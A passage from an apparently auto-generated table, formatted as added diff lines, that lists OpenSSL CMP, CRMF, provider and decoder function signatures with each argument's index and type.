GENERAL_NAMES ** | +| (const OSSL_CMP_CRLSTATUS *,DIST_POINT_NAME **,GENERAL_NAMES **,ASN1_TIME **) | | OSSL_CMP_CRLSTATUS_get0 | 3 | ASN1_TIME ** | +| (const OSSL_CMP_CRLSTATUS *,unsigned char **) | | i2d_OSSL_CMP_CRLSTATUS | 0 | const OSSL_CMP_CRLSTATUS * | +| (const OSSL_CMP_CRLSTATUS *,unsigned char **) | | i2d_OSSL_CMP_CRLSTATUS | 1 | unsigned char ** | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get0_geninfo_ITAVs | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get0_libctx | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get0_newCert | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get0_propq | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get0_statusString | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get0_trustedStore | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get0_untrusted | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get0_validatedSrvCert | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get1_caPubs | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get1_extraCertsIn | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get1_newChain | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get_certConf_cb_arg | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get_failInfoCode | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get_http_cb_arg | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get_status | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get_transfer_cb_arg | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | ossl_cmp_ctx_get0_newPubkey | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *,char *,size_t) | | OSSL_CMP_CTX_snprint_PKIStatus | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *,char *,size_t) | | OSSL_CMP_CTX_snprint_PKIStatus | 1 | char * | +| (const OSSL_CMP_CTX *,char *,size_t) | | OSSL_CMP_CTX_snprint_PKIStatus | 2 | size_t | +| (const OSSL_CMP_CTX *,const OSSL_CMP_CERTRESPONSE *) | | ossl_cmp_certresponse_get1_cert | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *,const OSSL_CMP_CERTRESPONSE *) | | ossl_cmp_certresponse_get1_cert | 1 | const OSSL_CMP_CERTRESPONSE * | +| (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | int | +| (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | int | +| (const OSSL_CMP_ERRORMSGCONTENT *,unsigned char **) | | i2d_OSSL_CMP_ERRORMSGCONTENT | 0 | const OSSL_CMP_ERRORMSGCONTENT * | +| (const OSSL_CMP_ERRORMSGCONTENT *,unsigned char **) | | i2d_OSSL_CMP_ERRORMSGCONTENT | 1 | unsigned char ** | +| (const OSSL_CMP_ITAV *) | | OSSL_CMP_ITAV_dup | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *) | | OSSL_CMP_ITAV_get0_type | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *) | | OSSL_CMP_ITAV_get0_value | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **) | | OSSL_CMP_ITAV_get1_certReqTemplate | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **) | | OSSL_CMP_ITAV_get1_certReqTemplate | 1 | OSSL_CRMF_CERTTEMPLATE ** | +| (const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **) | | OSSL_CMP_ITAV_get1_certReqTemplate | 2 | OSSL_CMP_ATAVS ** | +| (const OSSL_CMP_ITAV *,X509 **) | | OSSL_CMP_ITAV_get0_rootCaCert | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *,X509 **) | | OSSL_CMP_ITAV_get0_rootCaCert | 1 | X509 ** | +| (const OSSL_CMP_ITAV *,stack_st_ASN1_UTF8STRING **) | | OSSL_CMP_ITAV_get0_certProfile | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *,stack_st_ASN1_UTF8STRING **) | | OSSL_CMP_ITAV_get0_certProfile | 1 | stack_st_ASN1_UTF8STRING ** | +| (const OSSL_CMP_ITAV *,stack_st_OSSL_CMP_CRLSTATUS **) | | OSSL_CMP_ITAV_get0_crlStatusList | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *,stack_st_OSSL_CMP_CRLSTATUS **) | | OSSL_CMP_ITAV_get0_crlStatusList | 1 | stack_st_OSSL_CMP_CRLSTATUS ** | +| (const OSSL_CMP_ITAV *,stack_st_X509 **) | | OSSL_CMP_ITAV_get0_caCerts | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *,stack_st_X509 **) | | OSSL_CMP_ITAV_get0_caCerts | 1 | stack_st_X509 ** | +| (const OSSL_CMP_ITAV *,stack_st_X509_CRL **) | | OSSL_CMP_ITAV_get0_crls | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *,stack_st_X509_CRL **) | | OSSL_CMP_ITAV_get0_crls | 1 | stack_st_X509_CRL ** | +| (const OSSL_CMP_ITAV *,unsigned char **) | | i2d_OSSL_CMP_ITAV | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *,unsigned char **) | | i2d_OSSL_CMP_ITAV | 1 | unsigned char ** | +| (const OSSL_CMP_KEYRECREPCONTENT *,unsigned char **) | | i2d_OSSL_CMP_KEYRECREPCONTENT | 0 | const OSSL_CMP_KEYRECREPCONTENT * | +| (const OSSL_CMP_KEYRECREPCONTENT *,unsigned char **) | | i2d_OSSL_CMP_KEYRECREPCONTENT | 1 | unsigned char ** | +| (const OSSL_CMP_MSG *) | | OSSL_CMP_MSG_dup | 0 | const OSSL_CMP_MSG * | +| (const OSSL_CMP_MSG *) | | OSSL_CMP_MSG_get0_header | 0 | const OSSL_CMP_MSG * | +| (const OSSL_CMP_MSG *) | | OSSL_CMP_MSG_get_bodytype | 0 | const OSSL_CMP_MSG * | +| (const OSSL_CMP_MSG *,unsigned char **) | | i2d_OSSL_CMP_MSG | 0 | const OSSL_CMP_MSG * | +| (const OSSL_CMP_MSG *,unsigned char **) | | i2d_OSSL_CMP_MSG | 1 | unsigned char ** | +| (const OSSL_CMP_PKIBODY *,unsigned char **) | | i2d_OSSL_CMP_PKIBODY | 0 | const OSSL_CMP_PKIBODY * | +| (const OSSL_CMP_PKIBODY *,unsigned char **) | | i2d_OSSL_CMP_PKIBODY | 1 | unsigned char ** | +| (const OSSL_CMP_PKIHEADER *) | | OSSL_CMP_HDR_get0_geninfo_ITAVs | 0 | const OSSL_CMP_PKIHEADER * | +| (const OSSL_CMP_PKIHEADER *) | | OSSL_CMP_HDR_get0_recipNonce | 0 | const OSSL_CMP_PKIHEADER * | +| (const OSSL_CMP_PKIHEADER *) | | OSSL_CMP_HDR_get0_transactionID | 0 | const OSSL_CMP_PKIHEADER * | +| (const OSSL_CMP_PKIHEADER *) | | ossl_cmp_hdr_get0_senderNonce | 0 | const OSSL_CMP_PKIHEADER * | +| (const OSSL_CMP_PKIHEADER *) | | ossl_cmp_hdr_get_pvno | 0 | const OSSL_CMP_PKIHEADER * | +| (const OSSL_CMP_PKIHEADER *,unsigned char **) | | i2d_OSSL_CMP_PKIHEADER | 0 | const OSSL_CMP_PKIHEADER * | +| (const OSSL_CMP_PKIHEADER *,unsigned char **) | | i2d_OSSL_CMP_PKIHEADER | 1 | unsigned char ** | +| (const OSSL_CMP_PKISI *) | | OSSL_CMP_PKISI_dup | 0 | const OSSL_CMP_PKISI * | +| (const OSSL_CMP_PKISI *) | | ossl_cmp_pkisi_get0_statusString | 0 | const OSSL_CMP_PKISI * | +| (const OSSL_CMP_PKISI *) | | ossl_cmp_pkisi_get_status | 0 | const OSSL_CMP_PKISI * | +| (const OSSL_CMP_PKISI *,char *,size_t) | | OSSL_CMP_snprint_PKIStatusInfo | 0 | const OSSL_CMP_PKISI * | +| (const OSSL_CMP_PKISI *,char *,size_t) | | OSSL_CMP_snprint_PKIStatusInfo | 1 | char * | +| (const OSSL_CMP_PKISI *,char *,size_t) | | OSSL_CMP_snprint_PKIStatusInfo | 2 | size_t | +| (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 0 | const OSSL_CMP_PKISI * | +| (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | int | +| (const OSSL_CMP_PKISI *,unsigned char **) | | i2d_OSSL_CMP_PKISI | 0 | const OSSL_CMP_PKISI * | +| (const OSSL_CMP_PKISI *,unsigned char **) | | i2d_OSSL_CMP_PKISI | 1 | unsigned char ** | +| (const OSSL_CMP_POLLREP *,unsigned char **) | | i2d_OSSL_CMP_POLLREP | 0 | const OSSL_CMP_POLLREP * | +| (const OSSL_CMP_POLLREP *,unsigned char **) | | i2d_OSSL_CMP_POLLREP | 1 | unsigned char ** | +| (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 0 | const OSSL_CMP_POLLREPCONTENT * | +| (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | int | +| (const OSSL_CMP_POLLREQ *,unsigned char **) | | i2d_OSSL_CMP_POLLREQ | 0 | const OSSL_CMP_POLLREQ * | +| (const OSSL_CMP_POLLREQ *,unsigned char **) | | i2d_OSSL_CMP_POLLREQ | 1 | unsigned char ** | +| (const OSSL_CMP_PROTECTEDPART *,unsigned char **) | | i2d_OSSL_CMP_PROTECTEDPART | 0 | const OSSL_CMP_PROTECTEDPART * | +| (const OSSL_CMP_PROTECTEDPART *,unsigned char **) | | i2d_OSSL_CMP_PROTECTEDPART | 1 | unsigned char ** | +| (const OSSL_CMP_REVANNCONTENT *,unsigned char **) | | i2d_OSSL_CMP_REVANNCONTENT | 0 | const OSSL_CMP_REVANNCONTENT * | +| (const OSSL_CMP_REVANNCONTENT *,unsigned char **) | | i2d_OSSL_CMP_REVANNCONTENT | 1 | unsigned char ** | +| (const OSSL_CMP_REVDETAILS *,unsigned char **) | | i2d_OSSL_CMP_REVDETAILS | 0 | const OSSL_CMP_REVDETAILS * | +| (const OSSL_CMP_REVDETAILS *,unsigned char **) | | i2d_OSSL_CMP_REVDETAILS | 1 | unsigned char ** | +| (const OSSL_CMP_REVREPCONTENT *,unsigned char **) | | i2d_OSSL_CMP_REVREPCONTENT | 0 | const OSSL_CMP_REVREPCONTENT * | +| (const OSSL_CMP_REVREPCONTENT *,unsigned char **) | | i2d_OSSL_CMP_REVREPCONTENT | 1 | unsigned char ** | +| (const OSSL_CMP_ROOTCAKEYUPDATE *,unsigned char **) | | i2d_OSSL_CMP_ROOTCAKEYUPDATE | 0 | const OSSL_CMP_ROOTCAKEYUPDATE * | +| (const OSSL_CMP_ROOTCAKEYUPDATE *,unsigned char **) | | i2d_OSSL_CMP_ROOTCAKEYUPDATE | 1 | unsigned char ** | +| (const OSSL_CMP_SRV_CTX *) | | OSSL_CMP_SRV_CTX_get0_cmp_ctx | 0 | const OSSL_CMP_SRV_CTX * | +| (const OSSL_CMP_SRV_CTX *) | | OSSL_CMP_SRV_CTX_get0_custom_ctx | 0 | const OSSL_CMP_SRV_CTX * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *) | | OSSL_LIB_CTX_new_child | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *) | | OSSL_LIB_CTX_new_child | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *) | | OSSL_LIB_CTX_new_from_dispatch | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *) | | OSSL_LIB_CTX_new_from_dispatch | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | OSSL_provider_init | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | OSSL_provider_init | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | OSSL_provider_init | 2 | const OSSL_DISPATCH ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | OSSL_provider_init | 3 | void ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_base_provider_init | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_base_provider_init | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_base_provider_init | 2 | const OSSL_DISPATCH ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_base_provider_init | 3 | void ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_default_provider_init | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_default_provider_init | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_default_provider_init | 2 | const OSSL_DISPATCH ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_default_provider_init | 3 | void ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_legacy_provider_init | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_legacy_provider_init | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_legacy_provider_init | 2 | const OSSL_DISPATCH ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_legacy_provider_init | 3 | void ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_null_provider_init | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_null_provider_init | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_null_provider_init | 2 | const OSSL_DISPATCH ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_null_provider_init | 3 | void ** | +| (const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *) | | OSSL_CRMF_ATTRIBUTETYPEANDVALUE_dup | 0 | const OSSL_CRMF_ATTRIBUTETYPEANDVALUE * | +| (const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *,unsigned char **) | | i2d_OSSL_CRMF_ATTRIBUTETYPEANDVALUE | 0 | const OSSL_CRMF_ATTRIBUTETYPEANDVALUE * | +| (const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *,unsigned char **) | | i2d_OSSL_CRMF_ATTRIBUTETYPEANDVALUE | 1 | unsigned char ** | +| (const OSSL_CRMF_CERTID *) | | OSSL_CRMF_CERTID_dup | 0 | const OSSL_CRMF_CERTID * | +| (const OSSL_CRMF_CERTID *) | | OSSL_CRMF_CERTID_get0_serialNumber | 0 | const OSSL_CRMF_CERTID * | +| (const OSSL_CRMF_CERTID *,unsigned char **) | | i2d_OSSL_CRMF_CERTID | 0 | const OSSL_CRMF_CERTID * | +| (const OSSL_CRMF_CERTID *,unsigned char **) | | i2d_OSSL_CRMF_CERTID | 1 | unsigned char ** | +| (const OSSL_CRMF_CERTREQUEST *) | | OSSL_CRMF_CERTREQUEST_dup | 0 | const OSSL_CRMF_CERTREQUEST * | +| (const OSSL_CRMF_CERTREQUEST *,unsigned char **) | | i2d_OSSL_CRMF_CERTREQUEST | 0 | const OSSL_CRMF_CERTREQUEST * | +| (const OSSL_CRMF_CERTREQUEST *,unsigned char **) | | i2d_OSSL_CRMF_CERTREQUEST | 1 | unsigned char ** | +| (const OSSL_CRMF_CERTTEMPLATE *) | | OSSL_CRMF_CERTTEMPLATE_dup | 0 | const OSSL_CRMF_CERTTEMPLATE * | +| (const OSSL_CRMF_CERTTEMPLATE *) | | OSSL_CRMF_CERTTEMPLATE_get0_extensions | 0 | const OSSL_CRMF_CERTTEMPLATE * | +| (const OSSL_CRMF_CERTTEMPLATE *) | | OSSL_CRMF_CERTTEMPLATE_get0_issuer | 0 | const OSSL_CRMF_CERTTEMPLATE * | +| (const OSSL_CRMF_CERTTEMPLATE *) | | OSSL_CRMF_CERTTEMPLATE_get0_publicKey | 0 | const OSSL_CRMF_CERTTEMPLATE * | +| (const OSSL_CRMF_CERTTEMPLATE *) | | OSSL_CRMF_CERTTEMPLATE_get0_serialNumber | 0 | const OSSL_CRMF_CERTTEMPLATE * | +| (const OSSL_CRMF_CERTTEMPLATE *) | | OSSL_CRMF_CERTTEMPLATE_get0_subject | 0 | const OSSL_CRMF_CERTTEMPLATE * | +| (const OSSL_CRMF_CERTTEMPLATE *,unsigned char **) | | i2d_OSSL_CRMF_CERTTEMPLATE | 0 | const OSSL_CRMF_CERTTEMPLATE * | +| (const OSSL_CRMF_CERTTEMPLATE *,unsigned char **) | | i2d_OSSL_CRMF_CERTTEMPLATE | 1 | unsigned char ** | +| (const OSSL_CRMF_ENCKEYWITHID *,unsigned char **) | | i2d_OSSL_CRMF_ENCKEYWITHID | 0 | const OSSL_CRMF_ENCKEYWITHID * | +| (const OSSL_CRMF_ENCKEYWITHID *,unsigned char **) | | i2d_OSSL_CRMF_ENCKEYWITHID | 1 | unsigned char ** | +| (const OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *,unsigned char **) | | i2d_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER | 0 | const OSSL_CRMF_ENCKEYWITHID_IDENTIFIER * | +| (const OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *,unsigned char **) | | i2d_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER | 1 | unsigned char ** | +| (const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int) | | OSSL_CRMF_ENCRYPTEDKEY_get1_encCert | 0 | const OSSL_CRMF_ENCRYPTEDKEY * | +| (const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int) | | OSSL_CRMF_ENCRYPTEDKEY_get1_encCert | 1 | OSSL_LIB_CTX * | +| (const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int) | | OSSL_CRMF_ENCRYPTEDKEY_get1_encCert | 2 | const char * | +| (const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int) | | OSSL_CRMF_ENCRYPTEDKEY_get1_encCert | 3 | EVP_PKEY * | +| (const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int) | | OSSL_CRMF_ENCRYPTEDKEY_get1_encCert | 4 | unsigned int | +| (const OSSL_CRMF_ENCRYPTEDKEY *,unsigned char **) | | i2d_OSSL_CRMF_ENCRYPTEDKEY | 0 | const OSSL_CRMF_ENCRYPTEDKEY * | +| (const OSSL_CRMF_ENCRYPTEDKEY *,unsigned char **) | | i2d_OSSL_CRMF_ENCRYPTEDKEY | 1 | unsigned char ** | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *) | | OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert | 0 | const OSSL_CRMF_ENCRYPTEDVALUE * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *) | | OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert | 1 | OSSL_LIB_CTX * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *) | | OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert | 2 | const char * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *) | | OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert | 3 | EVP_PKEY * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *) | | OSSL_CRMF_ENCRYPTEDVALUE_decrypt | 0 | const OSSL_CRMF_ENCRYPTEDVALUE * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *) | | OSSL_CRMF_ENCRYPTEDVALUE_decrypt | 1 | OSSL_LIB_CTX * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *) | | OSSL_CRMF_ENCRYPTEDVALUE_decrypt | 2 | const char * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *) | | OSSL_CRMF_ENCRYPTEDVALUE_decrypt | 3 | EVP_PKEY * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *) | | OSSL_CRMF_ENCRYPTEDVALUE_decrypt | 4 | int * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,unsigned char **) | | i2d_OSSL_CRMF_ENCRYPTEDVALUE | 0 | const OSSL_CRMF_ENCRYPTEDVALUE * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,unsigned char **) | | i2d_OSSL_CRMF_ENCRYPTEDVALUE | 1 | unsigned char ** | +| (const OSSL_CRMF_MSG *) | | OSSL_CRMF_MSG_dup | 0 | const OSSL_CRMF_MSG * | +| (const OSSL_CRMF_MSG *) | | OSSL_CRMF_MSG_get0_tmpl | 0 | const OSSL_CRMF_MSG * | +| (const OSSL_CRMF_MSG *,unsigned char **) | | i2d_OSSL_CRMF_MSG | 0 | const OSSL_CRMF_MSG * | +| (const OSSL_CRMF_MSG *,unsigned char **) | | i2d_OSSL_CRMF_MSG | 1 | unsigned char ** | +| (const OSSL_CRMF_MSGS *,unsigned char **) | | i2d_OSSL_CRMF_MSGS | 0 | const OSSL_CRMF_MSGS * | +| (const OSSL_CRMF_MSGS *,unsigned char **) | | i2d_OSSL_CRMF_MSGS | 1 | unsigned char ** | +| (const OSSL_CRMF_OPTIONALVALIDITY *,unsigned char **) | | i2d_OSSL_CRMF_OPTIONALVALIDITY | 0 | const OSSL_CRMF_OPTIONALVALIDITY * | +| (const OSSL_CRMF_OPTIONALVALIDITY *,unsigned char **) | | i2d_OSSL_CRMF_OPTIONALVALIDITY | 1 | unsigned char ** | +| (const OSSL_CRMF_PBMPARAMETER *,unsigned char **) | | i2d_OSSL_CRMF_PBMPARAMETER | 0 | const OSSL_CRMF_PBMPARAMETER * | +| (const OSSL_CRMF_PBMPARAMETER *,unsigned char **) | | i2d_OSSL_CRMF_PBMPARAMETER | 1 | unsigned char ** | +| (const OSSL_CRMF_PKIPUBLICATIONINFO *) | | OSSL_CRMF_PKIPUBLICATIONINFO_dup | 0 | const OSSL_CRMF_PKIPUBLICATIONINFO * | +| (const OSSL_CRMF_PKIPUBLICATIONINFO *,unsigned char **) | | i2d_OSSL_CRMF_PKIPUBLICATIONINFO | 0 | const OSSL_CRMF_PKIPUBLICATIONINFO * | +| (const OSSL_CRMF_PKIPUBLICATIONINFO *,unsigned char **) | | i2d_OSSL_CRMF_PKIPUBLICATIONINFO | 1 | unsigned char ** | +| (const OSSL_CRMF_PKMACVALUE *,unsigned char **) | | i2d_OSSL_CRMF_PKMACVALUE | 0 | const OSSL_CRMF_PKMACVALUE * | +| (const OSSL_CRMF_PKMACVALUE *,unsigned char **) | | i2d_OSSL_CRMF_PKMACVALUE | 1 | unsigned char ** | +| (const OSSL_CRMF_POPO *,unsigned char **) | | i2d_OSSL_CRMF_POPO | 0 | const OSSL_CRMF_POPO * | +| (const OSSL_CRMF_POPO *,unsigned char **) | | i2d_OSSL_CRMF_POPO | 1 | unsigned char ** | +| (const OSSL_CRMF_POPOPRIVKEY *,unsigned char **) | | i2d_OSSL_CRMF_POPOPRIVKEY | 0 | const OSSL_CRMF_POPOPRIVKEY * | +| (const OSSL_CRMF_POPOPRIVKEY *,unsigned char **) | | i2d_OSSL_CRMF_POPOPRIVKEY | 1 | unsigned char ** | +| (const OSSL_CRMF_POPOSIGNINGKEY *,unsigned char **) | | i2d_OSSL_CRMF_POPOSIGNINGKEY | 0 | const OSSL_CRMF_POPOSIGNINGKEY * | +| (const OSSL_CRMF_POPOSIGNINGKEY *,unsigned char **) | | i2d_OSSL_CRMF_POPOSIGNINGKEY | 1 | unsigned char ** | +| (const OSSL_CRMF_POPOSIGNINGKEYINPUT *,unsigned char **) | | i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT | 0 | const OSSL_CRMF_POPOSIGNINGKEYINPUT * | +| (const OSSL_CRMF_POPOSIGNINGKEYINPUT *,unsigned char **) | | i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT | 1 | unsigned char ** | +| (const OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *,unsigned char **) | | i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO | 0 | const OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO * | +| (const OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *,unsigned char **) | | i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO | 1 | unsigned char ** | +| (const OSSL_CRMF_PRIVATEKEYINFO *,unsigned char **) | | i2d_OSSL_CRMF_PRIVATEKEYINFO | 0 | const OSSL_CRMF_PRIVATEKEYINFO * | +| (const OSSL_CRMF_PRIVATEKEYINFO *,unsigned char **) | | i2d_OSSL_CRMF_PRIVATEKEYINFO | 1 | unsigned char ** | +| (const OSSL_CRMF_SINGLEPUBINFO *,unsigned char **) | | i2d_OSSL_CRMF_SINGLEPUBINFO | 0 | const OSSL_CRMF_SINGLEPUBINFO * | +| (const OSSL_CRMF_SINGLEPUBINFO *,unsigned char **) | | i2d_OSSL_CRMF_SINGLEPUBINFO | 1 | unsigned char ** | +| (const OSSL_DAY_TIME *,unsigned char **) | | i2d_OSSL_DAY_TIME | 0 | const OSSL_DAY_TIME * | +| (const OSSL_DAY_TIME *,unsigned char **) | | i2d_OSSL_DAY_TIME | 1 | unsigned char ** | +| (const OSSL_DAY_TIME_BAND *,unsigned char **) | | i2d_OSSL_DAY_TIME_BAND | 0 | const OSSL_DAY_TIME_BAND * | +| (const OSSL_DAY_TIME_BAND *,unsigned char **) | | i2d_OSSL_DAY_TIME_BAND | 1 | unsigned char ** | +| (const OSSL_DECODER *) | | OSSL_DECODER_get0_name | 0 | const OSSL_DECODER * | +| (const OSSL_DECODER *) | | OSSL_DECODER_get0_provider | 0 | const OSSL_DECODER * | +| (const OSSL_DECODER *) | | ossl_decoder_get_number | 0 | const OSSL_DECODER * | +| (const OSSL_DECODER *) | | ossl_decoder_parsed_properties | 0 | const OSSL_DECODER * | +| (const OSSL_DECODER_CTX *) | | ossl_decoder_ctx_get_harderr | 0 | const OSSL_DECODER_CTX * | +| (const OSSL_DECODER_INSTANCE *) | | ossl_decoder_instance_dup | 0 | const OSSL_DECODER_INSTANCE * | +| (const OSSL_DISPATCH *) | | ossl_prov_bio_from_dispatch | 0 | const OSSL_DISPATCH * | +| (const OSSL_DISPATCH *) | | ossl_prov_get_keymgmt_export | 0 | const OSSL_DISPATCH * | +| (const OSSL_DISPATCH *) | | 